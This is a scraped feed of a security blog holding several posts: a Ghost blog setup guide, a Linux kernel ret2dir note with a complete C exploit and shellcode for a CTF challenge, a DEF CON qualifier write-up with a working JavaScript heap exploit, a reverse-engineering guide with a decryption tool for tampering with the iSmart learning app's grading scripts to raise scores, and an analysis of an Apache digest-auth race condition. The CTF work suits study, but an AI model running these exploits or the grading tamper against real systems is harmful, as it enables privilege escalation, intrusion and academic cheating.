<![CDATA[PotatoEXP]]>https://blog.lovetecnet.xyz/https://blog.lovetecnet.xyz/favicon.pngPotatoEXPhttps://blog.lovetecnet.xyz/Ghost 3.17Mon, 01 Jun 2020 21:01:23 GMT60<![CDATA[Ghost博客搭建指南]]>https://blog.lovetecnet.xyz/2020/05/5ed2c8096229fa2c8575cc4e/5ed2c8096229fa2c8575cc4eSun, 31 May 2020 21:20:06 GMT

Ghost是什么

Ghost博客搭建指南

Ghost 是基于 Node.js 的开源博客平台,由前 WordPress UI 部门主管 John O’Nolan 和 WordPress 高级工程师(女) Hannah Wolfe 创立,目的是为了给用户提供一种更加纯粹的内容写作与发布平台。

安装

npm install ghost-cli -g
ghost install

优化

代码高亮

Code syntax highlighting

解决图片超过文章宽度

主要参照Ghost 调教日志 - 解决图片超过文章宽度

Code injection加入

<style type="text/css">
.post-full-content img {
    max-width: none !important;
    width: 100% !important;
}
</style>

半透明floating header

Code injection加入

.site-nav-main {
    background-color: rgba(0,0,0,0.7);
}

阅读进度条

Ghost默认主题Casper颜值非常高,不过在最近的V3大更新中,阅读进度条的功能被暂时去除了,参照Make a progress bar的讨论:

partials/site-header.hbs:

<div class="outer site-nav-main">
    <div class="inner">
        {{> "site-nav"}}
    </div>
    {{#is "post"}}
        <div id="bottomHeader">
            <progress class="reading-progress-bar"></progress>
        </div>
    {{/is}}
</div>

assets/css/screen.css

#bottomHeader {
    height:2px;
    position: relative;
    top:0px;
    left: -5vw;
}

progress.reading-progress-bar {
    appearance: none;
    position: absolute;
    width: 100vw;
    height: 2px;
}

progress.reading-progress-bar[value]::-webkit-progress-bar {
background-color: rgba(0,0,0,0.5);
}

progress.reading-progress-bar[value]::-webkit-progress-value {
background-color: #3eb0ef;
}

post.hbs

<script>
    const readingProgress = (contentArea, progressBar) => {
    const content = document.querySelector(contentArea);
    const progress = document.querySelector(progressBar);
    const frameListening = () => {
        const contentBox = content.getBoundingClientRect();
        const midPoint = window.innerHeight / 2;
        const minsRemaining = Math.round(progress.max - progress.value);
        if (contentBox.top > midPoint) {
            progress.value = 0;
        }
        if (contentBox.top < midPoint) {
            progress.value = progress.max;
        }
        if (contentBox.top <= midPoint && contentBox.bottom >= midPoint) {
            progress.value =
                (progress.max * Math.abs(contentBox.top - midPoint)) /
                contentBox.height;
        }
        window.requestAnimationFrame(frameListening);
    };
    window.requestAnimationFrame(frameListening);
};
readingProgress(".post-full-content", ".reading-progress-bar");
</script>

托管到GitHub Pages

由于安全、成本方面的考虑,决定做成静态网站,使用工具ghost-static-site-generator生成静态网页,再push到github里,若发现有不能正常处理的链接,自己xed替换一下就行。

find . -type f -name '*.html' | xargs sed -i -e 's#https://olddomain.com#https://newdomain.com#g'

Update

在实际使用过程中,发现gssg不能正确爬取amp页面的feature image,经检查发现是因为该部分html是由js动态生成的,wget处理不了

暂时解决方案:

修改amp页面模板
Ghost/core/frontend/apps/amp/lib/views/amp.hbs

46            {{#if feature_image}}
47            <figure class="post-image">
48                <amp-img src="{{img_url feature_image absolute="true"}}" width="600" height="400" layout="responsive"></amp-img>
49            </figure>
50            {{/if}}

将其修改如下:

            {{#if feature_image}}
            <figure class="post-image">
                    <amp-img  srcset="{{img_url feature_image size="s"}} 300w,
                                      {{img_url feature_image size="m"}} 600w,
                                      {{img_url feature_image size="l"}} 1000w,
                                      {{img_url feature_image size="xl"}} 2000w"
                        src="{{img_url feature_image size="m" absolute="true"}}" width="600" height="400" layout="responsive"></amp-img>
            </figure>
]]>
<![CDATA[最近做的事]]>https://blog.lovetecnet.xyz/2020/05/5ed16b323e0c9823b9e03824/5ed16b323e0c9823b9e03824Fri, 29 May 2020 20:29:32 GMT
  • 破解了几款自己常用的APP, 发现iOS还是挺有意思的
  • 上线了自己的cydia源:repo.potatso.xyz, 里面会放一些自己写的小插件
    • NFC Writer的破解
    • 启用A12设备的PiP功能,之前别的插件都有问题,MSFindSymbol不能正确工作,不过现在都修复了
  • 把自己的博客从之前的wordpress迁移到ghost, 感觉wordpress太臃肿了,我也不需要那么多功能
  • 买了个BusPirate, 玩了一下烧写Flash啥的
  • 春招啥的随缘, 自己还是太菜了(小牢骚:没事学什么安全, 要失业了, 倒不如小学门口卖手抓饼活得自在,hhha)
]]>
<![CDATA[ret2dir笔记]]>https://blog.lovetecnet.xyz/2019/09/5ed110028577930534277168/5ed110028577930534277168Thu, 05 Sep 2019 12:37:43 GMT

ret2dir笔记

backgound

ret2dir笔记

Return-to-direct-mapped memory (ret2dir)是由哥伦比亚大学网络安全实验室在2014年提出的攻击技术,能够直接绕过SMAP/SMEP,

SMAP/SMEP是intel用于阻止ret2usr攻击所采取的保护机制,它确保了当进程处于内核态时,不能访问或执行用户空间内存代码,SMEP/SMAP的开启有CR4寄存器的第20/21位控制,当控制位为1时,保护开启

ret2dir笔记

physmap

ret2dir笔记

在内核空间,有一块名叫physmap的虚拟内存是可以直接映射物理内存,这块内存在低于3.9版本的x86-64内核中的属性是rwx,而在目前版本是rw.

ret2dir

用户空间代码可以通过触发Page faults的方法迫使kernel分配物理内存

  1. Demand paging
    • brk,[stack]
    • mmap/mmap2,mremap,shmat
    • Swapping (swapped in pages)
  2. Copy-on-write (COW)
    • fork,clone

由于物理内存可以同时分配给用户空间和内核空间,physmap的存在就导致了地址别名产生。当两块或者多块虚拟内存映射到同一块物理内存时,就会产生地址别名。我们可以通过physmap直接调用在用户空间布置的shellcode,从而绕过SMAP/SMEP保护机制,这就是ret2dir的核心原理

ret2dir笔记

Locating Synonyms

现在的问题变成,我们如何确定用户空间的虚拟地址所对应的内核地址
P1: Given a user space virtual address (uaddr) -- > Synonym inkernel space (kaddr)

通过/proc/(pid)/pagemap计算Page frame number

64-bit value per page!Indexed by virtualpage number

  • [0:54]!Page frame number (PFN)
  • [63]!Page present

F1:kaddr = PHYS_OFFSET + PAGE_SIZE * ( PFN (uaddr) - PFN_MIN )

PHYS_OFFSET:physmap在内核空间的起始地址,也就是0xFFFF880000000000

PFN_MIN: the first PFN

Ensuring the Presence of Synonyms

如果内存容量大于physmap的时候,如何确保Synonyms的存在?
ret2dir笔记

这部分牵扯到Linux内核的物理内存分配机制,我也不是特别明白

内核将物理内存划分为三块,ZONEDMA,ZONENORMAL,ZONEHIGHMEM,用户空间从ZONEHIGHMEM获得物理内存页
ret2dir笔记

通过在用户空间不断请求大块RW内存,并触发write fault强迫内核分配物理内存,直到PFN(P)小于PFN_MAX

ret2dir笔记

Locating Contiguous Synonyms

如果payload长度大于一个内存页,如何获得连续的physmap

采用与上面类似的算法

ret2dir笔记

Locating Synonyms

如果PFN信息不可用怎么办,这种情况十分常见,大佬们提出了一种名叫physmap spraying,跟堆喷的工作手法类似,通过分配大量的内存,并在内存中都填充同样的payload,再随机挑选一个physmap地址,能够有相当大的概率可以恰好命中paylaod,概率P = N/(PFN_MAX-PFN_MIN),N为被填充payload的physmap-resident pages

ret2dir笔记

XNUCA-2019 babykernel

在今年的XNUCA比赛中,就有一道题十分适合当作例题
ret2dir笔记

ret2dir笔记

漏洞点十分简单,我们可以控制rip, rdi两个参数,不过我们只有一次机会

由于kernel版本为5.2,直接在physmap布置shellcode执行是不可能的,那Kernel中有没有类似libc中的one_gadget可以实现single shot呢?

有的,在中科院信工所大佬的KEPLER: Facilitating Control-flow Hijacking Primitive Evaluation for Linux Kernel Vulnerabilities文章中,他们提出了一种新的利用途径
ret2dir笔记
Linux kernel采用了面向对象编程思想,函数调用的第一个参数往往就是self本身,然后通过self取出对象中的函数或者数据之类的。

通过blooming gadget,我们可以从控制单一一个rdi寄存器扩展到三个甚至更多
ret2dir笔记

同样的,Bridging gadget为我们提供了同时调用多个函数的可能性,让我们可以更长时间控制程序的执行流
ret2dir笔记

exp:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <memory.h>
#include <pty.h>
#include <signal.h>


struct control_flow_hijack_primitive{
	long long rax;
	long long rbx;
	long long rcx;
	long long rdx;
	long long rsi;
	long long rdi;
	long long rsp;
	long long rbp;
	long long r8;
	long long r9;
	long long r10;
	long long r11;
	long long r12;
	long long r13;
	long long r14;
	long long r15;
	long long rip;
	long long reset_all;
};


#define regcache_mark_dirty 0xffffffff81608250
#define mp_size			1024*64 //64K
#define spray_times		64*32	// heap spray size : 64K*64*32 = 128M
#define guess_physmap		0xffff888007a72000
#define set_memory_x		0xffffffff81056ca0



void get_shell(void){
    system("/bin/sh");
}

#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL= 0xffffffff81087130;
void (*commit_creds)(void*) KERNCALL=0xffffffff81086e20;
void payload(){
      commit_creds(prepare_kernel_cred(0));
}

void error_quit(char *arg)
{
	puts(arg);
	exit(-1);
}
void heap_spray()
{
	int i = 0,num;
	char *mp;
	char *p;
	for (i = 0; i < spray_times; i++)
	{
        	if ((p = mmap(NULL, mp_size, PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0 )) == MAP_FAILED)
                	error_quit("mmap error");
		for (num = 0; num < 64; num++)
		{
			mp = p + num * 1024;
			*((unsigned long *)&mp[0x30]) = guess_physmap+0x40;
			*((unsigned long *)&mp[0x20]) = 0xffffffff8153588e;
			*((unsigned long *)&mp[0xe0]) = 0;
			*((unsigned long *)&mp[0x9e]) = 0xffffffff81608251;
			*((unsigned long *)&mp[0x8]) =  guess_physmap+0x70;
			*((unsigned long *)&mp[0x70]) =  guess_physmap;
			*((unsigned long *)&mp[0x60]) =  set_memory_x;
			*((unsigned long *)&mp[0x68]) =  guess_physmap+0x100;
			*((unsigned long *)&mp[0x270]) =  0xffffffff810a9114;
			memcpy(mp+0x100,"\x90\x90\x90\x90\x90\x90\x48\xc7\xc0\xb0\x73\x05\x81\x48\xc7\xc7\x00\x00\x00\xc0\x48\xc7\xc6\x01\x00\x00\x00\xff\xd0\x48\xc7\xc0\x80\x0a\x00\xc0\x48\xc7\x00\x00\x00\x00\x00\x48\xc7\xc0\xc0\x01\x00\xc0\x48\xbb\x48\xc7\xc7\x00\x00\x00\x00\x48\x48\x89\x18\x48\xc7\xc0\xc8\x01\x00\xc0\x48\xbb\xc7\xc0\x30\x71\x08\x81\xff\xd0\x48\x89\x18\x48\xc7\xc0\xd0\x01\x00\xc0\x48\xbb\x48\x89\xc7\x48\xc7\xc0\x20\x6e\x48\x89\x18\x48\xc7\xc0\xd8\x01\x00\xc0\x48\xbb\x08\x81\xff\xd0\x48\xc7\xc7\xf0\x48\x89\x18\x48\xc7\xc0\xe0\x01\x00\xc0\x48\xbb\x06\x00\x00\x48\xc7\xc2\x48\x00\x48\x89\x18\x48\xc7\xc0\xe8\x01\x00\xc0\x48\xbb\x00\x00\x48\xc7\xc0\x02\x0e\x05\x48\x89\x18\x48\xc7\xc0\xf0\x01\x00\xc0\x48\xbb\x81\xff\xd0\x0f\x01\xf8\x6a\x2b\x48\x89\x18\x48\xc7\xc0\xf8\x01\x00\xc0\x48\xbb\x68\x00\x10\x10\x00\x68\x46\x02\x48\x89\x18\x48\xc7\xc0\x00\x02\x00\xc0\x48\xbb\x00\x00\x6a\x33\x68\x4d\x0b\x40\x48\x89\x18\x48\xc7\xc0\x08\x02\x00\xc0\x48\xc7\xc3\x00\x48\xcf\x00\x48\x89\x18\x48\xbb\x00\x68\x9f\x0f\x80\x88\xff\xff\x49\xc7\xc4\x01\x00\x00\x00\x49\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc5\x0b\x00\x00\x00\x48\xbc\x20\x3f\x00\x00\x00\xc9\xff\xff\x49\xbd\x6c\x3f\x00\x00\x00\xc9\xff\xff\x4d\x31\xdb\x4d\x31\xf6\x4d\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x58\x48\xc7\xc0\x3b\x72\x0b\x81\x50\x48\xc7\xc0\x85\x00\x00\xc0\x50\x6a\x46\x9d\xfa\x48\x31\xc0\xc3",331);
		}
	}	
}

//0xffffffffc0000000
unsigned long user_cs, user_ss, user_eflags,user_sp	;
void save_stats() {
	asm(
		"movq %%cs, %0\n"
		"movq %%ss, %1\n"
		"movq %%rsp, %3\n"
		"pushfq\n"
		"popq %2\n"
		:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
 		:
 		: "memory"
 	);
}
void getshell()
{
    system("/bin/sh");
}

int main(void){
    setbuf(stdout,0);
    save_stats();
    printf("%lx %lx %lx %lx",user_cs,user_eflags,user_sp,user_ss);
    char * pp = mmap(0x100000, 0x10000, PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS,-1, 0);
	int fd = open("/dev/osok",O_RDWR);
	if(fd < 0 ){
		printf("Open /dev/osok error!\n");
		exit(0);
	}
	heap_spray();
	struct control_flow_hijack_primitive buf;
	buf.rip=regcache_mark_dirty;
	buf.rdi=guess_physmap;
	ioctl(fd,1337,&buf);
	sleep(4);
	int fp = open("/dev/osok",O_RDWR);
	if(fp < 0 ){
		printf("Open /dev/osok error!\n");
		exit(0);
	}
	ioctl(fp,1337,0);
	getshell();
	return 0;
    

}
# shellcode
mov rax,0xffffffff810573b0
mov rdi,0xffffffffc0000000
mov rsi,0x1
call rax
mov rax,0xffffffffc0000a80
mov qword ptr [rax],0
mov rax,0xffffffffc00001c0
mov rbx,0x4800000000c7c748
mov qword ptr [rax],rbx
mov rax,0xffffffffc00001c8
mov rbx,0xd0ff81087130c0c7
mov qword ptr [rax],rbx
mov rax,0xffffffffc00001d0
mov rbx,0x6e20c0c748c78948
mov qword ptr [rax],rbx
mov rax,0xffffffffc00001d8
mov rbx,0xf0c7c748d0ff8108
mov qword ptr [rax],rbx
mov rax,0xffffffffc00001e0
mov rbx,0x48c2c748000006
mov qword ptr [rax],rbx
mov rax,0xffffffffc00001e8
mov rbx,0x50e02c0c7480000
mov qword ptr [rax],rbx
mov rax,0xffffffffc00001f0
mov rbx,0x2b6af8010fd0ff81
mov qword ptr [rax],rbx
mov rax,0xffffffffc00001f8
mov rbx,0x246680010100068
mov qword ptr [rax],rbx
mov rax,0xffffffffc0000200
mov rbx,0x400b4d68336a0000
mov qword ptr [rax],rbx
mov rax,0xffffffffc0000208
mov rbx,0xcf4800
mov qword ptr [rax],rbx
mov rbx,0xffff88800f9f6800
mov r12,1
mov r15,1
mov rbp,0xb
mov rsp,0xffffc90000003f20
mov r13,0xffffc90000003f6c
xor r11,r11
xor r14,r14
xor r10,r10
xor r8,r8
xor r9,r9
pop rax
mov rax,0xffffffff810b723b
push rax
mov rax,0xffffffffc0000085
push rax
push 0x46
popfq
cli
xor rax,rax
ret



# patch handle_args
mov rdi,0
mov rax,0xffffffff81087130
call rax
mov rdi,rax
mov rax,0xffffffff81086e20
call rax
mov rdi,0x6f0
mov rdx,0x48
# mov cr4, rdi; push rdx; popfq; ret;
mov rax,0xffffffff81050e02
call rax

push 0x2b
mov rax, 0x100000
push rax
push 0x246
push 0x33
push 0x000000000400B4D
swapgs
iretq
]]>
<![CDATA[iSmart逆向分析]]>https://blog.lovetecnet.xyz/2019/07/5ed110028577930534277167/5ed110028577930534277167Sun, 14 Jul 2019 15:45:10 GMT

PC版

iSmart逆向分析

首先感谢北京科技大学ever404安全实验室老哥的文章《英语视听说逆向分析》,给我指明了方向

iSmart的pc版其实就是个chromium,语音识别以及判分都是由js完成,具体可以自己研究ISmartCache目录

在ISmartCache\flipbooks\对应的书,目录结构如下:
iSmart逆向分析
其中上面一堆md5?名字的对应的是书的章节,而resources目录下就是判分的js,我们只关注resource\js\up366client.js这个文件,(当然你要想实现自动做题也可以,那样的话要改的地方就比较多),直接打开你会发现是一堆乱码

emmmmm,ollydbg启动

嗯。。。。rc6加密,用的库是一个pascal的库 Delphi Encryption CompendiumVersion 5.2,因为是rc6,直接用常数定位密钥扩展函数,就能拿到key
key生成的函数调用栈:
iSmart逆向分析
key的话好像是固定的,没仔细研究
key指针位置:
iSmart逆向分析

key都拿到了,直接调上面的库写个decrypt程序,解出up366client的明文,然后随便改。。。。代码是混淆过的,但是我有混淆前的版本:),对照一下就行啦~ 其中[code]function d(t,e,n,i,a,r,s,c,u){e=e.replace(/#[^#]*#/g,"'")[/code] 就是口语判分的函数

改完之后encrypt一下,覆盖原文件,然后就可以愉快的刷iSmart~

附上decrypt脚本:

program Project1;

{$APPTYPE CONSOLE}

{$R *.res}

uses
  System.SysUtils,
  CPU in 'CPU.pas',
  DECCipher in 'DECCipher.pas',
  DECData in 'DECData.pas',
  DECFmt in 'DECFmt.pas',
  DECHash in 'DECHash.pas',
  DECRandom in 'DECRandom.pas',
  DECUtil in 'DECUtil.pas',
  TypInfoEx in 'TypInfoEx.pas',
  CRC in 'CRC.pas';

var
  Source:String;
  Dest:String;
  IV: array[0..10] of Byte=($31,$30,$36,$37,$38,$37,$36,$30,$35,$30,$38);
begin
  try
    write('File:');
    Readln(Source);
    Dest:=Source+'.js';
    with TCipher_RC6.Create do
    try
      Mode :=cmCTSx;
      Init(IV,11,'',0);
      EncodeFile(Source,Dest);
    finally
     Free;
    end;
  except
    on E: Exception do
      Writeln(E.ClassName, ': ', E.Message);
  end;
end.

Android版

安卓版其实跟pc大同小异,都是js,而且安卓的js没有加密
但是蛋疼的是,每次载入js的时候,app都会校验文件,所以直接修改js是不行的

我分别试了两种不同的方法
1.在java层修改js返回的分数
2.直接patch掉校验

两种弄起来都不难,但是都有一个共同的问题,重打包app,iSmart有好几处地方都做了app签名校验,我也没空一个个给它改,直接xposed大法禁用掉系统安装app的签名校验,我们自己先给app签名,然后再把apk包里的换成原来的,装上ok

现在安卓版的口语题目会上传录音到阿里云oss,pc版暂时没有,这不代表破解没用,填空选择题自动完成还是没问题的,而且可以用来调高口语的分数,70分调个80不过分吧:)

总结

上面说的东西仅供学习。。。算是一道ctf练手题?

嗯......说到ctf,那就顺便宣传一蛤
iSmart逆向分析

世界很大,互联网让世界变小,真的黑客们应该去思考并创造,无论当下是在破坏还是在创造,记住,未来,那主线是创造就对了。 ——by 余弦

非灰也 / De1ta & Sloth

]]>
<![CDATA[Defcon qual 27 speedrun-012解析]]>https://blog.lovetecnet.xyz/2019/05/5ed110028577930534277166/5ed110028577930534277166Mon, 13 May 2019 15:13:17 GMTDefcon qual 27 speedrun-012解析

第一次在De1ta跟师傅们一起打defcon,收获不少,记录一下

题目描述

The TranspOOOrter.
hint: https://gist.github.com/adamdoupe/9fb1fed69421e789a0a623af912e456a
speedrun-012.quals2019.oooverflow.io 31337
Files: speedrun-012
题目源码:https://github.com/o-o-overflow

思路分析

题目给的hint是个diff文件,出题人魔改了duktape这个js引擎,留下了两处可以利用的漏洞

首先是duk_bi_buffer_writefield这个函数,8bit的情况

@@ -2347,10 +2344,7 @@
switch (magic_ftype) {
case DUK__FLD_8BIT: {
duk_uint8_t tmp;
- if (offset + 1U > check_length) {
- goto fail_bounds;
- }
- tmp = buf[offset];
+ tmp = buf[offset_signed];
if (magic_signed) {
duk_push_int(thr, (duk_int_t) ((duk_int8_t) tmp));
} else {

offset_signed可以是负数,也就是可以往前读

然后是duk_bi_buffer_readfield函数,32bit的情况

@@ -2653,16 +2670,13 @@
}
case DUK__FLD_32BIT: {
duk_uint32_t tmp;
- if (offset + 4U > check_length) {
- goto fail_bounds;
- }
tmp = (duk_uint32_t) duk_to_uint32(thr, 0);
if (endswap) {
tmp = DUK_BSWAP32(tmp);
}
du.ui[0] = tmp;
/* sign doesn't matter when writing */
- duk_memcpy((void *) (buf + offset), (const void *) du.uc, 4);
+ duk_memcpy((void *) (buf + offset_signed), (const void *) du.uc, 4);
break;
}
case DUK__FLD_FLOAT: {

同样可以是负数,可以往前写内容

我对js并没有接触过,所以解题用的时间比较久

看看开了什么保护蛤

[*] '/home/anonymous/\xe4\xb8\x8b\xe8\xbd\xbd/speedrun-012'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

全开,enmmmm,题目说了环境都是Ubuntu18.04,也就是glibc2.27,md5:50390b2ae8aaa73c47745040f54e602f

随便输点东西试试

var buffer = new OOOArrayBufferOOO(0xab);
var d = new DataView(buffer);
d.setUint32(0,0x61616161);
d.setUint32(4,0x62626262);

用gdb搜索字符串aaaabbbb,发现有趣的东西
观察到以下chunk

0x5555557d6b70: 0x0000000000000000 0x00000000000000e1
0x5555557d6b80: 0x0000000200000002 0x00005555557d87b0
0x5555557d6b90: 0x00005555557d6b20 0x00000000000000ab //猜测一下这个是size
0x5555557d6ba0: 0x6262626261616161 0x0000000000000000 //这里是buffer的存储区
0x5555557d6bb0: 0x0000000000000000 0x0000000000000000
0x5555557d6bc0: 0x0000000000000000 0x0000000000000000
0x5555557d6bd0: 0x0000000000000000 0x0000000000000000
0x5555557d6be0: 0x0000000000000000 0x0000000000000000
0x5555557d6bf0: 0x0000000000000000 0x0000000000000000
0x5555557d6c00: 0x0000000000000000 0x0000000000000000
0x5555557d6c10: 0x0000000000000000 0x0000000000000000
0x5555557d6c20: 0x0000000000000000 0x0000000000000000
0x5555557d6c30: 0x0000000000000000 0x0000000000000000
0x5555557d6c40: 0x0000000000000000 0xffffffffff000000
0x5555557d6c50: 0xffffffffffffffff 0x0000000000000061

那不管那么多,先去把堆的地址leak了先(虽然后面没用到...)

var heap_addr="0x"+d.getUint8(-11).toString(16)+d.getUint8(-12).toString(16)+d.getUint8(-13).toString(16)+d.getUint8(-14).toString(16)+d.getUint8(-15).toString(16)+d.getUint8(-16).toString(16);print (heap_addr);

顺手改一下size,改完后就可以往更远的地址读写啦!!!

d.setUint32(-4,0xffff);

想办法leak一个libc的地址,enmmm

var test=new OOOArrayBufferOOO(0xfa);test=null;

貌似变量置空js引擎会自动回收内存,具体不太清楚,反正gdb观测到远处有个unsorted bin了,enmmm,去把地址读出来

var libc_addr=d.getUint8(0x315)*(2**40)+d.getUint8(0x314)*(2**32)+d.getUint8(0x313)*(2**24)+d.getUint8(0x312)*(2**16)+d.getUint8(0x311)*(2**8)+d.getUint8(0x310);var libc_base=libc_addr-0x3ebca0;print (libc_base);
var one_gadget=libc_base+0x4f322;
var free_hook=libc_base+4118760-0x20;print(free_hook);

就剩下触发one_gadget了,yeah

我用了个比较麻烦的方法,写tcache_perthread_struct伪造tcache,然后分配到free_hook,写入one_gadget

d.setUint32(-0x1f110,malloc_hook&0xffffffff,true);
d.setUint32(-0x1f114+8,OOOMathOOO.round(malloc_hook/(2**32)-0.5),true);
d.setUint32(-0x1f224,0x00020100);
var z = new OOOArrayBufferOOO(0x1d0); // free_hook hahah
var g = new DataView(z);
g.setUint32(0,o&0xffffffff,true);
g.setUint32(4,OOOMathOOO.round(o/(2**32)-0.5),true)

其实堆上应该有不少函数指针可以写的吧,没仔细研究,enmmmm

poc

var buffer = new OOOArrayBufferOOO(0xab);var d = new DataView(buffer);d.setUint32(0,0x61616161);d.setUint32(4,0x62626262);var heap_addr="0x"+d.getUint8(-11).toString(16)+d.getUint8(-12).toString(16)+d.getUint8(-13).toString(16)+d.getUint8(-14).toString(16)+d.getUint8(-15).toString(16)+d.getUint8(-16).toString(16);print (heap_addr);var test=new OOOArrayBufferOOO(0xfa);test=null;d.setUint32(-4,0xffff);var libc_addr=d.getUint8(0x315)*(2**40)+d.getUint8(0x314)*(2**32)+d.getUint8(0x313)*(2**24)+d.getUint8(0x312)*(2**16)+d.getUint8(0x311)*(2**8)+d.getUint8(0x310);var libc_base=libc_addr-0x3ebca0;print (libc_base);var o=libc_base+0x4f322;var malloc_hook=libc_base+4118760-0x20;print(malloc_hook);d.setUint32(-0x1f110,malloc_hook&0xffffffff,true);d.setUint32(-0x1f114+8,OOOMathOOO.round(malloc_hook/(2**32)-0.5),true);d.setUint32(-0x1f224,0x00020100);var z = new OOOArrayBufferOOO(0x1d0);var g = new DataView(z);g.setUint32(0,o&0xffffffff,true);g.setUint32(4,OOOMathOOO.round(o/(2**32)-0.5),true)

小结

挺好玩的题目,enmmmm

]]>
<![CDATA[简析Apache mod_auth_digest模块条件竞争漏洞(CVE-2019-0217 with exp)]]>https://blog.lovetecnet.xyz/2019/04/5ed110028577930534277165/5ed110028577930534277165Fri, 05 Apr 2019 11:34:12 GMT

漏洞背景

简析Apache mod_auth_digest模块条件竞争漏洞(CVE-2019-0217 with exp)

Simon Kappel在1月29日向apache报告了该漏洞的存在,详细描述如下

When there are requests made from multiple different users
on the same host to the same protection space, a race condition occurs
so that the realmhash from another user may sometimes
be used for validation when comparing digest with
expected digest.

I can reproduce this by running two testscripts which repeatedly requests a resource using different users.

script1:
while 1
curl -u test:test --digest "http:///cgi/mycgi.cgi"

script2:
while 1
curl -u test2:test2 --digest" http:///cgi/mycgi.cgi"

Sometimes the digest module will claim that there is a password mismatch APLOGNO(01792).

Debugging this i found that the realmhash (ha1) used to compare digests was sometimes from the wrong user.

Digest Access Authentication(摘要访问认证)

Digest认证是试图解决Basic认证的诸多缺陷而设计的一种Web服务器网页浏览器进行认证信息协商的方法。它在密码发出前,先对其应用哈希函数,这相对于HTTP基本认证发送明文而言,更安全。

基本流程

  1. 客户端请求一个需要认证的页面,但是不提供用户名密码
GET /dir/index.html HTTP/1.0
Host: localhost
  1. 服务器返回401 "Unauthorized" 响应代码,并提供认证域(realm),以及一个随机生成的、只使用一次的数值,称为密码随机数 nonce
HTTP/1.0 401 Unauthorized
Server: HTTPd/0.9
Date: Sun, 10 Apr 2005 20:26:47 GMT
WWW-Authenticate: Digest realm="[email protected]",
                        qop="auth,auth-int",
                        nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
                        opaque="5ccc069c403ebaf9f0171e9517f40e41"
Content-Type: text/html
Content-Length: 311

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
 "[http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd](http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd)">
<HTML>
  <HEAD>
    <TITLE>Error</TITLE>
    <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">
  </HEAD>
  <BODY><H1>401 Unauthorized.</H1></BODY>
</HTML>

客户端返回认证参数

GET /dir/index.html HTTP/1.0
Host: localhost
Authorization: Digest username="Mufasa",
                     realm="[email protected]",
                     nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
                     uri="/dir/index.html",
                     qop=auth,
                     nc=00000001,
                     cnonce="0a4f113b",
                     response="6629fae49393a05397450978507c4ef1",
                     opaque="5ccc069c403ebaf9f0171e9517f40e41"

服务器响应,认证成功或失败

HTTP/1.0 200 OK
Server: HTTPd/0.9
Date: Sun, 10 Apr 2005 20:27:03 GMT
Content-Type: text/html
Content-Length: 7984

基本参数

  • WWW-Authenticate:服务端发送的认证质询头部

  • Authentication-Info:服务端发送的认证响应头部,包含nextnonce、rspauth响应摘要等

  • realm:授权域,至少应该包含主机名

  • domain:授权访问URIs列表,项与项之间以空格符分隔

  • qop:质量保护,值为auth或auth-int或[token],auth-int包含对实体主体做完整性校验

  • nonce:服务端产生的随机数,用于增加摘要生成的复杂性.另外,nonce本身可用于防止重放攻击,用于实现服务端对客户端的认证。RFC 2617 建议采用这个随机数计算公式:nonce = BASE64(time-stamp MD5(time-stamp “:” ETag “:” private-key))

  • opaque:这是一个不透明的数据字符串,在盘问中发送给客户端,客户端会将这个数据字符串再发送回服务器。

  • stale:nonce过期标志,值为true或false

  • algorithm:摘要算法,值为MD5或MD5-sess或[token],默认为MD5

  • cnonce:客户端产生的随机数,用于客户端对服务器的认证。

  • nc:当服务端开启qop时,客户端才需要发送nc(nonce-count)。服务端能够通过维护nc来检测用当前nonce标记的请求重放。如果相同的nc出现在用当前nonce标记的两次请求中,那么这两次请求即为重复请求。

RFC 2069中response的产生过程比较简单:

$latex \mathrm{HA1} = \mathrm{MD5}\Big(\mathrm{A1}\Big) = \mathrm{MD5}\Big( \mathrm{username} : \mathrm{realm} : \mathrm{password} \Big)$
$latex \mathrm{HA2} = \mathrm{MD5}\Big(\mathrm{A2}\Big) = \mathrm{MD5}\Big( \mathrm{method} : \mathrm{digestURI} \Big)$
$latex \mathrm{response} = \mathrm{MD5}\Big( \mathrm{HA1} : \mathrm{nonce} : \mathrm{HA2} \Big)$

RFC 2069 随后被 RFC 2617取代。RFC 2617 引入了一系列安全增强的选项:“保护质量”(qop)、nc、以及cnonce,这里不再细述

源码分析

mod_auth_digest模块的主要认证流程在static int authenticate_digest_user(request_rec *r)函数内

//取出client的响应
resp = (digest_header_rec *) ap_get_module_config(mainreq->request_config,&auth_digest_module);
resp->needed_auth = 1;
realm = ap_auth_name(r);

/* get our conf */
//取出服务器的配置信息
conf = (digest_config_rec *) ap_get_module_config(r->per_dir_config,&auth_digest_module);

...

//判断用户是否存在
return_code = get_hash(r, r->user, conf);

...

//根据client的响应,选择相应的处理方法
//如果是rfc-2069标准,就调用old_digest计算response是否正确
if (strcmp(resp->digest, old_digest(r, resp, conf->ha1))) {
	ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(01792)
	"user %s: password mismatch: %s", r->user,r->uri);
    	note_digest_auth_failure(r, conf, resp, 0);
	return HTTP_UNAUTHORIZED;
}

...
//认证完成
return OK;

在fix前的get_hash函数,流程主要如下

...

/* We expect the password to be md5 hash of user:realm:password */
auth_result = provider->get_realm_hash(r, user, ap_auth_name(r),&password);

...

//将该用户ha1的conf->ha1,并将其作为old_digest的参数
if (auth_result == AUTH_USER_FOUND) {
	conf->ha1 = password;
}
return auth_result;

在多线程环境下,多个用户同时进行认证,conf->ha1的值在传进old_digest/new_digest之前就可能已经被覆盖为其他用户的value,这个问题可以被用于越权操作
